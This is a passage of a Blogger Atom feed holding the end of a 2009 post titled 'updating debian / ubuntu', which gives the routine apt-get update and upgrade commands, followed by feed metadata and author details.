update&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;then&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;apt-get upgrade -y&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-2841298995453115306?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/2841298995453115306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/03/updating-debian-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2841298995453115306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2841298995453115306'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/03/updating-debian-ubuntu.html' title='updating debian / ubuntu'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
